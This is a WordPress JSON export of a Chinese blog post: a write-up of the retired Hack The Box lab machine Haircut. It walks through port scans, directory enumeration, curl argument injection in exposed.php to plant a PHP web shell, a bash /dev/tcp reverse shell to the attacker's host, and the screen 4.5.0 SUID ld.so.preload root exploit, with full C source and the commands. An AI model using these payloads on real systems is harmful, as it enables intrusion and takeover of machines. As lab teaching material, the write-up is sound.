{"id":130,"date":"2024-11-13T09:35:05","date_gmt":"2024-11-13T01:35:05","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=130"},"modified":"2024-11-13T09:48:55","modified_gmt":"2024-11-13T01:48:55","slug":"htb_machine_haircut","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_haircut\/","title":{"rendered":"HTB\u9776\u673a Haircut \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.24<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/haircut\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.24\nPING 10.10.10.24 (10.10.10.24) 56(84) bytes of data.\n64 bytes from 10.10.10.24: icmp_seq=1 ttl=63 time=817 ms\n64 bytes from 10.10.10.24: icmp_seq=2 ttl=63 time=815 ms\n64 bytes from 10.10.10.24: icmp_seq=3 ttl=63 time=831 ms\n64 bytes from 10.10.10.24: icmp_seq=4 ttl=63 time=833 ms\n\n--- 10.10.10.24 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3031ms\nrtt min\/avg\/max\/mdev = 815.347\/824.173\/832.866\/7.912 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u826f\u597d\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.94SVN scan initiated Tue Jul 23 19:43:45 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.24\nWarning: 10.10.10.24 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.24 (10.10.10.24)\nHost is up (0.82s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Tue Jul 23 19:44:49 2024 -- 1 IP address (1 host up) scanned in 63.74 seconds<\/code><\/pre>\n
\u9776\u673a\u5f00\u653e\u4e862<\/code>\u4e2aTCP<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Tue Jul 23 19:47:12 2024 as: nmap -sS -sV -A -p 22,80 -oN .\/tcp_result.txt 10.10.10.24\nNmap scan report for 10.10.10.24 (10.10.10.24)\nHost is up (0.97s latency).\n\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)\n|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)\n|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)\n80\/tcp open  http    nginx 1.10.0 (Ubuntu)\n|_http-server-header: nginx\/1.10.0 (Ubuntu)\n|_http-title:  HTB Hairdresser \nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 4.10 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Synology DiskStation Manager 5.2-5644 (92%), Linux 3.13 (91%), Linux 3.18 (91%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT       ADDRESS\n1   827.72 ms 10.10.14.1 (10.10.14.1)\n2   827.84 ms 10.10.10.24 (10.10.10.24)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Tue Jul 23 19:48:53 2024 -- 1 IP address (1 host up) scanned in 101.72 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Tue Jul 23 19:50:48 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.24\nWarning: 10.10.10.24 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.24 (10.10.10.24)\nHost is up (0.57s latency).\nAll 65535 scanned ports on 10.10.10.24 (10.10.10.24) are in ignored states.\nNot shown: 65186 open|filtered udp ports (no-response), 349 closed udp ports (port-unreach)\n\n# Nmap done at Tue Jul 23 19:57:01 2024 -- 1 IP address (1 host up) scanned in 373.38 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/haircut\/nmap_reports]\n\u2514\u2500# nc -nv 10.10.10.24 22\n(UNKNOWN) [10.10.10.24] 22 (ssh) open\nSSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/10.10.10.24\/<\/code><\/p>\n
\"\"<\/p>\n
<!DOCTYPE html>\n\n<title> HTB Hairdresser <\/title>\n\n<center> <br><br><br><br>\n<img src=\"bounce.jpg\" height=\"750\" width=\"1200\" alt=\"\" \/>\n<center><\/code><\/pre>\n
\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Wed Jul 24 08:39:12 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.24\/ -x 400,403,404 -t 60 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap\n\n200   223B   http:\/\/10.10.10.24\/test.html\n301   194B   http:\/\/10.10.10.24\/uploads    -> REDIRECTS TO: http:\/\/10.10.10.24\/uploads\/<\/code><\/pre>\n
\u53d1\u73b0\/uploads<\/code>\u76ee\u5f55\u3002\u5728test.html<\/code>\u4e2d\u65e0\u5173\u952e\u4fe1\u606f\u3002\u5c1d\u8bd5\u626b\u63cf\/uploads<\/code>\u76ee\u5f55\uff0c\u4e00\u65e0\u6240\u83b7\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u5927\u5b57\u5178\u679a\u4e3e\u76ee\u5f55<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528Gobuster<\/code>\u914d\u5408\u5927\u5b57\u5178directory-list-2.3-medium.txt<\/code>\u679a\u4e3e\u9776\u673aWeb<\/code>\u6839\u76ee\u5f55\uff1a<\/p>\n
gobuster dir -u http:\/\/10.10.10.24\/ -w \/usr\/share\/wordlists\/seclists\/Discovery\/Web-Content\/directory-list-2.3-medium.txt -t 70 -x php,js,html -b 404<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0\u4e86exposed.php<\/code>\uff0c\u67e5\u770b\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u76f4\u63a5\u70b9\u51fb\u9875\u9762\u4e0a\u7684\u6309\u94ae\uff0c\u53d1\u73b0\u8be5PHP<\/code>\u7a0b\u5e8f\u4f7f\u7528\u4e86\u547d\u4ee4\u6267\u884c\u51fd\u6570\u62fc\u63a5\u6267\u884c\u4e86curl<\/code>\u547d\u4ee4\uff1a<\/p>\n
\"\"<\/p>\n
\u4f7f\u7528BurpSuite<\/code>\u8bbf\u95ee\u8be5\u9875\u9762\uff0c\u5728\u7f51\u5740\u540e\u52a0\u4e0a-o<\/code>\u53c2\u6570\u4fdd\u5b58\u7ed3\u679c\u5230.\/uploads\/test.txt<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u6210\u529f\uff01\uff01\u73b0\u5728\u76f4\u63a5\u5728\u672c\u5730\u521b\u5efa<\/strong>**PHP**<\/code>\u6728\u9a6c\u5e76\u4f7f\u7528<\/strong>**SimpleHTTPServer**<\/code>\u8fdb\u884c\u76d1\u542c\uff1a<\/strong><\/p>\n
<?php\n    $command = $_GET['cmd'];\n    if (isset($command) && !empty($command)) {\n        system($command);\n    } else die(\"Hello, hello, I'm sparkle!\");\n?><\/code><\/pre>\n
\u968f\u540e\u4f7f\u7528\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u8fdb\u884c\u4e0b\u8f7d\u4fdd\u5b58\uff1a<\/p>\n
\"\"<\/p>\n
\u63a5\u7740\u53cd\u5f39Shell\uff1a<\/p>\n
\/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.3\/443 0>&1'<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n
\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n
\"\"<\/p>\n
\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n
\"\"<\/p>\n
\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n
\"\"<\/p>\n
\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n
\"\"<\/p>\n
\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n
\"\"<\/p>\n
\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u9776\u673a\/usr\/bin\/screen-4.5.0<\/code>\u7a0b\u5e8f\u5c5e\u4e3b\u4e3aroot<\/code>\uff0c\u6743\u9650\u4e3a4755<\/code>\uff0c\u4e14\u5b58\u5728\u4e25\u91cd\u7684\u6743\u9650\u63d0\u5347\u6f0f\u6d1e\uff1a<\/p>\n
\"\"<\/p>\n
\u51b3\u5b9a\u901a\u8fc7\u8be5\u7a0b\u5e8f\u63d0\u6743\u3002<\/p>\n
SUID\u7a0b\u5e8f\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u9996\u5148\u5728\u672c\u5730\u521b\u5efa\u4e24\u4efd\u6076\u610f\u6e90\u4ee3\u7801\u6587\u4ef6\uff1a<\/p>\n
#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <sys\/stat.h>\n__attribute__ ((__constructor__))\nvoid dropshell(void){\n    chown(\"\/tmp\/rootshell\", 0, 0);\n    chmod(\"\/tmp\/rootshell\", 04755);\n    unlink(\"\/etc\/ld.so.preload\");\n    printf(\"[+] done!n\");\n}<\/code><\/pre>\n
#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\nint main(void){\n    setuid(0);\n    setgid(0);\n    seteuid(0);\n    setegid(0);\n    execl(\"\/bin\/bash\", \"bash\", NULL);\n    return 0;\n}<\/code><\/pre>\n
\u968f\u540e\u4f7f\u7528\u5982\u4e0b2<\/code>\u6761\u547d\u4ee4\u5728\u653b\u51fb\u673a\u4e0a\u7f16\u8bd1\uff0c\u5e76\u5c06\u7f16\u8bd1\u5b8c\u6210\u7684\u6587\u4ef6\u4e0a\u4f20\u5230\u9776\u673a\u7684\/tmp<\/code>\u76ee\u5f55\uff1a<\/p>\n
gcc -fPIC -shared -ldl -o .\/libhax.so .\/libhax.c\ngcc -o .\/rootshell .\/rootshell.c -static<\/code><\/pre>\n
\u4e0a\u4f20\u5b8c\u6210\u540e\uff0c\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n
cd \/etc\numask 000\nscreen -D -m -L ld.so.preload echo -ne \"x0a\/tmp\/libhax.so\"\nscreen -ls\n\/tmp\/rootshell<\/code><\/pre>\n
\"\"<\/p>\n
\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
\n
Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
fd306a913770f2c1a1002c514c0efa01<\/code><\/pre>\n
\n
\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
\n","protected":false},"excerpt":{"rendered":"
\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.24 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/ …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-130","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=130"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/130\/revisions"}],"predecessor-version":[{"id":131,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/130\/revisions\/131"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}